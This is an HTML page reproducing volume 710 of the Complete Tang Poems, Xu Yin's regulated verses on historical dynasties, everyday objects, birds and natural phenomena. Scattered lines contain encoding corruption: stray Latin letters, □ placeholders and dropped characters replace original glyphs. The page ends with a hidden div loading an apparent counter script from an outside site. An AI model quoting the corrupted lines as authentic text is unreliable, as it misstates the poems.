<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="../../style.css"><title>古诗库：全唐诗卷七百一十</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
<p><div align="left">

　　　　　　　　　　　　　　　卷七百一十
<br>
<br>　　卷710_1  「蜀」徐夤
<br>
<br>　　虽倚关张敌万夫，岂胜恩信作良图。能均汉祚三分业，
<br>
<br>　　不负荆州六尺孤。绿水有鱼贤已得，青桑如盖瑞先符。
<br>
<br>　　君王幸是中山后，建国如何号蜀都。
<br>
<br>　　卷710_2  「魏」徐夤
<br>
<br>　　伐罪书勋令不常，争教为帝与为王。十年小怨诛桓邵，
<br>
<br>　　一檄深雠怨孔璋。在井蛰龙如屈伏，食槽骄马忽腾骧。
<br>
<br>　　奸雄事过分明见，英识空怀许子将。
<br>
<br>　　卷710_3  「吴」徐夤
<br>
<br>　　一主参差六十年，父兄犹庆授孙权。不迎曹操真长策，
<br>
<br>　　终谢张昭见硕贤。建业龙盘虽可贵，武昌鱼味亦何偏。
<br>
<br>　　秦嬴谩作东游计，紫气黄旗岂偶然。
<br>
<br>　　卷710_4  「两晋」徐夤
<br>
<br>　　三世深谋启帝基，可怜孀妇与孤儿。罪归成济皇天恨，
<br>
<br>　　戈犯明君万古悲。巴蜀削平轻似纸，勾吴吞却美如饴。
<br>
<br>　　谁知高鼻能知数，竞向中原簸战旗。
<br>
<br>　　卷710_5  「宋二首」徐夤
<br>
<br>　　天爵休将儋石论，一身恭俭万邦尊。赌将金带惊寰海，
<br>
<br>　　留得耕衣诫子孙。缔构不应饶汉祖，奸雄何足数王敦。
<br>
<br>　　草中求活非吾事，岂啻横身向庙门。
<br>
<br>　　百万人甘一掷输，玄穹惟与道相符。岂知紫殿新天子，
<br>
<br>　　只是丹徒旧啬夫。五色龙章身早见，六终鸿业数难逾。
<br>
<br>　　三年未得分明梦，却为兰陵起霸图。
<br>
<br>　　卷710_6  「陈」徐夤
<br>
<br>　　三惑昏昏中紫宸，万机抛却醉临春。书中不礼隋文帝，
<br>
<br>　　井底常携张贵嫔。玉树歌声移入哭，金陵天子化为臣。
<br>
<br>　　兵戈半渡前江水，狎客犹闻争酒巡。
<br>
<br>　　卷710_7  「读史」徐夤
<br>
<br>　　亚父凄凉别楚营，天留三杰翼龙争。高才无主不能用，
<br>
<br>　　直道有时方始平。喜愠子文何颖悟，卷藏蘧瑗甚分明。
<br>
<br>　　须知饮啄繇天命，休问黄河早晚清。
<br>
<br>　　卷710_8  「汉宫新宠」徐夤
<br>
<br>　　位在嫔妃最上头，笑他长信女悲秋。日中月满可能久，
<br>
<br>　　花落色衰殊未忧。公主镜中争翠羽，君王袖底夺金钩。
<br>
<br>　　妾家兄弟知多少，恰要同时拜列侯。
<br>
<br>　　卷710_9  「开元即事」徐夤
<br>
<br>　　曲江真宰国中讹，寻奏渔阳忽荷戈。堂上有兵天不用，
<br>
<br>　　幄中无策印空多。尘惊骑透潼关锁，云护龙游渭水波。
<br>
<br>　　未必蛾眉能破国，千秋休恨马嵬坡。
<br>
<br>　　卷710_10  「李翰林」徐夤
<br>
<br>　　谪下三清列八仙，获调羹鼎侍龙颜。吟开锁闼窥天近，
<br>
<br>　　醉卧金銮待诏闲。旧隐不归刘备国，旅魂长寄谢公山。
<br>
<br>　　遗编往简应飞去，散入祥云瑞日间。
<br>
<br>　　卷710_11  「闻长安庚子岁事」徐夤
<br>
<br>　　羽檄交驰触冕旒，函关飞入铁兜鍪。皇王去国未为恨，
<br>
<br>　　寰海失君方是忧。五色大云凝蜀郡，几般妖气扑神州。
<br>
<br>　　唐尧纵禅乾坤位，不是重华莫谩求。
<br>
<br>　　卷710_12  「公子行」徐夤
<br>
<br>　　十五辕门学控弦，六街骑马去如烟。金多倍著牡丹价，
<br>
<br>　　发白未知章甫贤。有耳不闻经国事，拜官方买谢恩笺。
<br>
<br>　　相如谩说凌云赋，四壁何曾有一钱。
<br>
<br>　　卷710_13  「依韵赠严司直」徐夤
<br>
<br>　　曾转双蓬到玉京，宣尼恩奏乐卿名。歌残白石扣牛角，
<br>
<br>　　赋换黄金爱马卿。沧海二隅身渐老，太行千叠路难行。
<br>
<br>　　夫君才大官何小，堪恨人间事不平。
<br>
<br>　　卷710_14  「伤前翰林杨左丞」徐夤
<br>
<br>　　飞上鳌头侍玉皇，三台遗耀换馀光。人间搦管穷苍颉，
<br>
<br>　　地上修文待卜商。真魄肯随金石化，真风留伴蕙兰香。
<br>
<br>　　皇天未启升平运，不使伊皋相禹汤。
<br>
<br>　　卷710_15  「日月无情」徐夤
<br>
<br>　　日月无情也有情，朝升夕没照均平。虽催前代英雄死，
<br>
<br>　　还促后来贤圣生。三尺灵乌金借耀，一轮飞镜水饶清。
<br>
<br>　　凭谁筑断东溟路，龙影蝉光免运行。
<br>
<br>　　卷710_16  「新月」徐夤
<br>
<br>　　云际婵娟出又藏，美人肠断拜金方。娥一只眉先扫，
<br>
<br>　　织女三分镜未光。珠箔寄钩悬杳霭，白龙遗爪印穹苍。
<br>
<br>　　更期十五圆明夜，与破阴霾照八荒。
<br>
<br>　　卷710_17  「和尚书咏烟」徐夤
<br>
<br>　　无根无蒂结还融，曾触岚光彻底空。不散几知离毕雨，
<br>
<br>　　欲飞须待落花风。玲珑薄展蛟绡片，幂历轻含凤竹丛。
<br>
<br>　　琼什捧来思旧隐，扑窗穿户晓溟鳌
<br>
<br>　　卷710_18  「宫莺」徐夤
<br>
<br>　　领得春光在帝家，早从深谷出烟霞。闲栖仙禁日边柳，
<br>
<br>　　饥啄御园天上花。只宜陪阁凤，间关多是问宫娃。
<br>
<br>　　可怜鹦鹉矜言语，长闭雕笼岁月赊。
<br>
<br>　　卷710_19  「鬓发」徐夤
<br>
<br>　　鬓添华发数茎新，罗雀门前绝故人。减食为缘疏五味，
<br>
<br>　　不眠非是守庚申。深园竹绿齐抽笋，古木蛇青自脱鳞。
<br>
<br>　　天地有炉长铸物，浊泥遗块待陶钧。
<br>
<br>　　卷710_20  「春入鲤湖」徐夤
<br>
<br>　　到来峭壁白云齐，载酒春游渡九溪。铁嶂有楼霾欲堕，
<br>
<br>　　石门无锁路还迷。湖头鲤去轰雷在，树杪猿啼落日低。
<br>
<br>　　回首浮生真幻梦，何如斯地傍幽栖。
<br>
<br>　　卷710_21  「双鹭」徐夤
<br>
<br>　　双鹭雕笼昨夜开，月明飞出立庭隈。但教绿水池塘在，
<br>
<br>　　自有碧天鸿雁来。清韵叫霜归岛树，素翎遗雪落渔台。
<br>
<br>　　何人为我追寻得，重劝溪翁酒一杯。
<br>
<br>　　卷710_22  「鹧鸪」徐夤
<br>
<br>　　绣仆梅兼羽翼全，楚鸡非瑞莫争先。啼归明月落边树，
<br>
<br>　　飞入百花深处烟。避烧几曾遗远岫，引雏时见饮晴川。
<br>
<br>　　荔枝初熟无人际，啄破红苞坠野田。
<br>
<br>　　卷710_23  「鹰」徐夤
<br>
<br>　　害物伤生性岂驯，且宜笼罩待知人。惟擒燕雀啖腥血，
<br>
<br>　　却笑鸾皇啄翠筠。狡兔穴多非尔识，鸣鸠短罚君身。
<br>
<br>　　豪门不读诗书者，走马平原放玩频。
<br>
<br>　　卷710_24  「蝴蝶二首」徐夤
<br>
<br>　　缥缈青虫脱壳微，不堪烟重雨霏霏。一枝艳留教住，
<br>
<br>　　几处春风借与飞。防患每忧鸡雀口，怜香偏绕绮罗衣。
<br>
<br>　　无情岂解关魂梦，莫信庄周说是非。
<br>
<br>　　拂绿穿红丽日长，一生心事住春光。最嫌神女来行雨，
<br>
<br>　　爱伴西施去采香。风定只应攒蕊粉，夜寒长是宿花房。
<br>
<br>　　鸣蝉性分殊迂阔，空解三秋噪夕阳。
<br>
<br>　　卷710_25  「郡侯坐上观琉璃瓶中游鱼」徐夤
<br>
<br>　　宝器一泓银汉水，锦鳞才动即先知。似涵明月波宁隔，
<br>
<br>　　欲上轻冰律未移。薄雾罩来分咫尺，碧绡笼处较毫厘。
<br>
<br>　　文翁未得沈香饵，拟置金盘召左慈。
<br>
<br>　　卷710_26  「剪刀」徐夤
<br>
<br>　　宝持多用绣为囊，双日交加两鬓霜。金匣掠平花翡翠，
<br>
<br>　　绿窗裁破锦鸳鸯。初栽连理枝犹短，误绾同心带不长。
<br>
<br>　　欲制袍先把看，质非纨绮愧。
<br>
<br>　　卷710_27  「纸被」徐夤
<br>
<br>　　文采鸳鸯罢合欢，细柔轻缀好鱼笺。一床明月盖归梦，
<br>
<br>　　数尺白云笼冷眠。披对劲风温胜酒，拥听寒雨暖于绵。
<br>
<br>　　赤眉豪客见皆笑，却问儒生直几钱。
<br>
<br>　　卷710_28  「纸帐」徐夤
<br>
<br>　　几笑文园四壁空，避寒深入剡藤中。误悬谢守澄江练，
<br>
<br>　　自宿嫦娥白兔宫。几叠玉山开洞壑，半岩春雾结房栊。
<br>
<br>　　针罗截锦饶君侈，争及蒙茸暖避风。
<br>
<br>　　卷710_29  「贡馀秘色茶盏」徐夤
<br>
<br>　　捩翠融青瑞色新，陶成先得贡吾君。功剜明月染春水，
<br>
<br>　　轻旋薄冰盛绿云。古镜破苔当席上，嫩荷涵露别江濉
<br>
<br>　　中山竹叶醅初发，多病那堪中十分。
<br>
<br>　　卷710_30  「笋鞭」徐夤
<br>
<br>　　筇竹岩边剔翠苔，锦江波冷洗琼瑰。累累节转苍龙骨，
<br>
<br>　　寸寸珠联巨蚌胎。须向广场驱驵骏，莫从闲处挞驽骀。
<br>
<br>　　宁同晋帝环营日，抛赚中途后骑来。
<br>
<br>　　卷710_31  「咏帘」徐夤
<br>
<br>　　素节轻盈珠影匀，何人巧思间成文。闲垂别殿风应度，
<br>
<br>　　半掩行宫麝欲薰。绣户远笼寒焰重，玉楼高挂曙光分。
<br>
<br>　　无情几恨黄昏月，才到如钩便堕云。
<br>
<br>　　卷710_32  「咏灯」徐夤
<br>
<br>　　分影由来恨不同，绿窗孤馆两何穷。荧煌短焰长疑暗，
<br>
<br>　　零落残花旋委空。几处隔帘愁夜雨，谁家当户怯秋风。
<br>
<br>　　莫言明灭无多事，曾比人生一世中。
<br>
<br>　　卷710_33  「咏扇」徐夤
<br>
<br>　　为发凉飙满玉堂，每亲襟袖便难忘。霜浓雪暗知何在，
<br>
<br>　　道契时来忽自扬。曾伴一樽临小槛，几遮残日过回廊。
<br>
<br>　　汉宫如有秋风起，谁信班姬泪数行。
<br>
<br>　　卷710_34  「咏笔二首」徐夤
<br>
<br>　　秦代将军欲建功，截龙搜兔助英雄。用多谁念毛皆拔，
<br>
<br>　　抛却更嫌心不中。史氏只应归道直，江淹何独偶灵通。
<br>
<br>　　班超握管不成事，投掷翻从万里戎。
<br>
<br>　　君子三归擅一名，秋毫虽细握非轻。军书羽檄教谁录，
<br>
<br>　　帝命王言待我成。势健岂饶淝水阵，锋还学历山耕。
<br>
<br>　　毛干时有何人润，尽把烧焚恨始平。
<br>
<br>　　卷710_35  「咏钱」徐夤
<br>
<br>　　多蓄多藏岂足论，有谁还议济王孙。能于祸处翻为福，
<br>
<br>　　解向雠家买得恩。几怪邓通难免饿，须知夷甫不曾言。
<br>
<br>　　朝争暮竞归何处，尽入权门与幸门。
<br>
<br>　　卷710_36  「尚书筵中咏红手帕」徐夤
<br>
<br>　　鹤绫三尺晓霞浓，送与东家二八容。罗带绣裙轻好系，
<br>
<br>　　藕丝红缕细初缝。别来拭泪遮桃脸，行去包香坠粉胸。
<br>
<br>　　无事把将缠皓腕，为君池上折芙蓉。
<br>
<br>　　卷710_37  「尚书新造花笺」徐夤
<br>
<br>　　浓染红桃二月花，只宜神笔纵龙蛇。浅澄秋水看云母，
<br>
<br>　　碎擘轻苔间粉霞。写赋好追陈后宠，题诗堪送窦滔家。
<br>
<br>　　使君即入金銮殿，夜直无非草白麻。
<br>
<br>　　卷710_38  「钓车」徐夤
<br>
<br>　　荻湾渔客巧妆成，铸银星一点轻。抛过碧江岸，
<br>
<br>　　轧残金井辘轳声。轴磨H角冰光滑，轮卷春丝水面平。
<br>
<br>　　把向严滩寻辙迹，渔台基在辗难倾。
<br>
<br>　　卷710_39  「柳」徐夤
<br>
<br>　　漠漠金条引线微，年年先翠报春归。解笼飞霭延芳景，
<br>
<br>　　不逐乱花飘夕晖。啼鸟噪蝉堪怅望，舞烟摇水自因依。
<br>
<br>　　五株名显陶家后，见说辞荣种者稀。
<br>
<br>　　卷710_40  「愁」徐夤
<br>
<br>　　夜长偏觉漏声迟，往往随歌惨翠眉。黄叶落催砧杵日，
<br>
<br>　　子规啼破梦魂时。明妃去泣千行泪，蔡琰归梳两鬓丝。
<br>
<br>　　四皓入山招不得，无家归客最堪欺。
<br>
<br>　　卷710_41  「草」徐夤
<br>
<br>　　废苑荒阶伴绿苔，恩疏长信恨难开。姑苏麋鹿食思食，
<br>
<br>　　楚泽王孙来不来。色嫩似将蓝汁染，叶齐如把剪刀裁。
<br>
<br>　　燕昭没后多卿士，千载流芳郭隗台。
<br>
<br>　　卷710_42  「萤」徐夤
<br>
<br>　　月坠西楼夜影空，透帘穿幕达房栊。流光堪在珠玑列，
<br>
<br>　　为火不生榆柳中。一一照通黄卷字，轻轻化出绿芜丛。
<br>
<br>　　欲知应候何时节，六月初迎大暑风。
<br>
<br>　　卷710_43  「水」徐夤
<br>
<br>　　火性何如水性柔，西来东出几时休。莫言通海能通汉，
<br>
<br>　　虽解浮舟也覆舟。湘浦暮沈尧女怨，汾河秋泛汉皇愁。
<br>
<br>　　洪波激湍归何处，二月桃花满眼流。
<br>
<br>　　卷710_44  「苔」徐夤
<br>
<br>　　印留麋鹿野禽踪，岩壁渔矶几处逢。金谷晓凝花影重，
<br>
<br>　　章华春映柳阴浓。石桥羽客遗前迹，陈阁才人没旧容。
<br>
<br>　　归去扫除阶砌下，藓痕残绿一重重。
<br>
<br>　　卷710_45  「晓」徐夤
<br>
<br>　　水尽铜龙滴渐微，景阳钟动梦魂飞。潼关鸡唱促归骑，
<br>
<br>　　金殿烛残求御衣。窗下寒机犹自织，梁间栖燕欲双飞。
<br>
<br>　　羲和晴耸扶桑辔，借与寰瀛看早晖。
<br>
<br>　　卷710_46  「别」徐夤
<br>
<br>　　酒尽歌终问后期，泛萍浮梗不胜悲。东门匹马夜归处，
<br>
<br>　　南浦片帆飞去时。赋罢江淹吟更苦，诗成苏武思何迟。
<br>
<br>　　可怜范陆分襟后，空折梅花寄所思。
<br>
<br>　　卷710_47  「夜」徐夤
<br>
<br>　　日坠虞渊烛影开，沈沈烟雾压浮埃。剡川雪满子猷去，
<br>
<br>　　汉殿月生王母来。檐挂蛛丝应渐织，风吹萤火不成灰。
<br>
<br>　　愁人莫道何时旦，自有钟鸣漏滴催。
<br>
<br>　　卷710_48  「雨」徐夤
<br>
<br>　　引电随龙密又轻，酒杯闲e得嘉名。千山草木如云暗，
<br>
<br>　　陆地波澜接海平。洒竹几添春睡重，滴檐偏遣夜愁生。
<br>
<br>　　阴妖冷孽成何怪，敢蔽高天日月明。
<br>
<br>　　卷710_49  「萍」徐夤
<br>
<br>　　为实随流瑞色新，泛风萦草护游鳞。密行碧水澄涵月，
<br>
<br>　　涩滞轻桡去采O.比物何名腰下剑，无根堪并镜中身。
<br>
<br>　　平湖春渚知何限，拨破闲投独茧纶。
<br>
<br>　　卷710_50  「恨」徐夤
<br>
<br>　　事与时违不自由，如烧如刺寸心头。乌江项籍忍归去，
<br>
<br>　　雁塞李陵长系留。燕国飞霜将破夏，汉宫纨扇岂禁秋。
<br>
<br>　　须知入骨难销处，莫比人间取次愁。
<br>
<br>　　卷710_51  「鸿」徐夤
<br>
<br>　　行如兄弟影连空，春去秋来燕不同。紫塞别当秋露白，
<br>
<br>　　碧山飞入暮霞红。宣王德美周诗内，苏武书传汉苑中。
<br>
<br>　　况解衔芦避弓箭，一声归唳楚天风。
<br>
<br>　　卷710_52  「鹤」徐夤
<br>
<br>　　阆苑瑶台岁月长，一归华表好增伤。新声乍警初零露，
<br>
<br>　　折羽闲飞几片霜。要伴神仙归碧落，岂随龟雁住方塘。
<br>
<br>　　三山顶上无人处，琼树堪巢不死乡。
<br>
<br>　　卷710_53  「鹊」徐夤
<br>
<br>　　神化难源瑞即开，雕陵毛羽出尘埃。香闺报喜行人至，
<br>
<br>　　碧汉填河织女回。明月解随乌绕树，青铜宁愧雀为台。
<br>
<br>　　琼枝翠叶庭前植，从待翩翩去又来。
<br>
<br>　　卷710_54  「霜」徐夤
<br>
<br>　　应节谁穷造化端，菊黄豺祭问应难。红窗透出鸳衾冷，
<br>
<br>　　白草飞时雁塞寒。露结芝兰琼屑厚，日干葵藿粉痕残。
<br>
<br>　　世间无比催摇落，松竹何人肯更看。
<br>
<br>　　卷710_55  「风」徐夤
<br>
<br>　　城上寒来思莫穷，土囊萍末两难同。飘成远浪江湖际，
<br>
<br>　　吹起暮尘京洛中。飞雪萧条残腊节，落花狼藉古行宫。
<br>
<br>　　春能和煦秋摇落，生杀还同造化功。
<br>
<br>　　卷710_56  「帆」徐夤
<br>
<br>　　岂劳孤棹送行舟，轻过天涯势未休。断岸晓看残月挂，
<br>
<br>　　远湾寒背夕阳收。川平直可追飞箭，风健还能溯急流。
<br>
<br>　　幸遇济川恩不浅，北溟东海更何愁。
<br>
<br>　　卷710_57  「梦」徐夤
<br>
<br>　　月落灯前闭北堂，神魂交入杳冥乡。文通毫管醒来异，
<br>
<br>　　武帝蘅芜觉后香。傅说已征贤可辅，周公不见恨何长。
<br>
<br>　　生松十八年方应，通塞人间岂合忙。
<br>
<br>　　卷710_58  「东」徐夤
<br>
<br>　　紫气天元出故关，大明先照九垓间。鳌山海上秦娥去，
<br>
<br>　　鲈脍江边齐掾还。青帝郊s平似砥，主人阶级峻如山。
<br>
<br>　　蟠桃树在烟涛水，解冻风高未得攀。
<br>
<br>　　卷710_59  「西」徐夤
<br>
<br>　　密云郊外已回秋，日下崦嵫景懒收。秦帝城高坚似铁，
<br>
<br>　　李斯书上曲如钩。宁惟东岳凌天秀，更有长庚瞰曙流。
<br>
<br>　　见说山傍偏出将，犬戎降尽复何愁。
<br>
<br>　　卷710_60  「南」徐夤
<br>
<br>　　罩罩嘉鱼忆此方，送君前浦恨难量。火山远照苍梧郡，
<br>
<br>　　铜柱高标碧海乡。陆贾几时来越岛，三闾何日濯沧浪。
<br>
<br>　　钟仪冠带归心阻，蝴蝶飞园万草芳。
<br>
<br>　　卷710_61  「北」徐夤
<br>
<br>　　雪满湖天日影微，李君降虏失良时。穷溟驾浪d鹏化，
<br>
<br>　　极海寄书鸿雁迟。□□□来犹未启，残兵奔去杳难追。
<br>
<br>　　可怜燕谷花间晚，邹律如何为一吹。
<br>
<br>　　卷710_62  「云」徐夤
<br>
<br>　　漠漠沈沈向夕晖，苍梧巫峡两相依。天心白日休空蔽，
<br>
<br>　　海上故山应自归。似盖好临千乘载，如罗堪剪六铢衣。
<br>
<br>　　为霖须救苍生旱，莫向西郊作雨稀。
<br>
<br>　　卷710_63  「燕」徐夤
<br>
<br>　　从待衔泥溅客衣，百禽灵性比他稀。何嫌何恨秋须去，
<br>
<br>　　无约无期春自归。雕鹗不容应不怪，栋梁相庇愿相依。
<br>
<br>　　吴王宫女娇相袭，合整双毛预奋飞。
<br>
<br>　　卷710_64  「蝉」徐夤
<br>
<br>　　寒鸣宁与众虫同，翼鬓q冠岂道穷。壳蜕已从今日化，
<br>
<br>　　声愁何似去年中。朝催篱菊花开露，暮促庭槐叶坠风。
<br>
<br>　　从此最能惊赋客，计居何处转飞蓬。
<br>
<br>　　卷710_65  「露」徐夤
<br>
<br>　　鹤鸣先警雁来天，洗竹沾花处处鲜。散彩几当蝉饮际，
<br>
<br>　　凝光宜对蚌胎前。朝垂苑草烟犹重，夜滴宫槐月正圆。
<br>
<br>　　怵惕与霜同降日，O蘩思荐独凄然。
<br>
<br>　　卷710_66  「霞」徐夤
<br>
<br>　　天际何人濯锦归，偏宜残照与晨晖。流为洞府千年酒，
<br>
<br>　　化作灵山几袭衣。野烧焰连殊赫奕，愁云阴隔乍依稀。
<br>
<br>　　劳生愿学长生术，餐尽红桃上汉飞。
<br>
<br>　　卷710_67  「蒲」徐夤
<br>
<br>　　濯秀盘根在碧流，紫茵含露向晴抽。编为细履随君步，
<br>
<br>　　织作轻帆送客愁。疏叶稍为投饵钓，密丛还碍采莲舟。
<br>
<br>　　鸳鸯多情甚，日日双双绕傍游。
<br>
<br>　　卷710_68  「泉」徐夤
<br>
<br>　　非凿非疏出洞门，源深流M合还分。高成瀑布漱逋客，
<br>
<br>　　清入御沟朝圣君。迸滴几山穿破石，迅飞层峤喷开云。
<br>
<br>　　旧斋一带连松竹，明月窗前枕上闻。
<br>
<br>　　卷710_69  「烟」徐夤
<br>
<br>　　燎野焚林见所从，惹空横水展形容。能滋甘雨随车润，
<br>
<br>　　不并行云逐梦踪。晴鸟回笼嘉树薄，春亭娇幕好花浓。
<br>
<br>　　有时片片风吹去，海碧山清过几重。
<br>
<br>　　卷710_70  「闲」徐夤
<br>
<br>　　不管人间是与非，白云流水自相依。一瓢挂树傲时代，
<br>
<br>　　五柳种门吟落晖。江上翠蛾遗佩去，岸边红袖采莲归。
<br>
<br>　　客星辞得汉光武，却坐东江旧藓矶。
<br>
<br>　　卷710_71  「忙」徐夤
<br>
<br>　　双竞龙舟疾似风，一星球子两明同。平吴破蜀三除里，
<br>
<br>　　灭楚图秦百战中。春近杜鹃啼不断，寒催归雁去何穷。
<br>
<br>　　兵还失路旌旗乱，惊起红尘似转蓬。
<br>
<br>　　卷710_72  「泪」徐夤
<br>
<br>　　发事牵情不自由，偶然惆怅即难收。已闻抱玉沾衣湿，
<br>
<br>　　见说迷途满目流。滴尽绮筵红烛暗，坠残妆阁晓花羞。
<br>
<br>　　世间何处偏留得，万点分明湘水头。
<br>
<br>　　卷710_73  「月」徐夤
<br>
<br>　　碧落谁分造化权，结霜凝雪作婵娟。寒蝉若不开三穴，
<br>
<br>　　狡兔何从上九天。莫见团圆明处远，须看湾曲鉴时偏。
<br>
<br>　　S诜树老尧q换，惆怅今年似去年。
<br>
<br>
<br>   
<br>
<br>
</center></div>
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
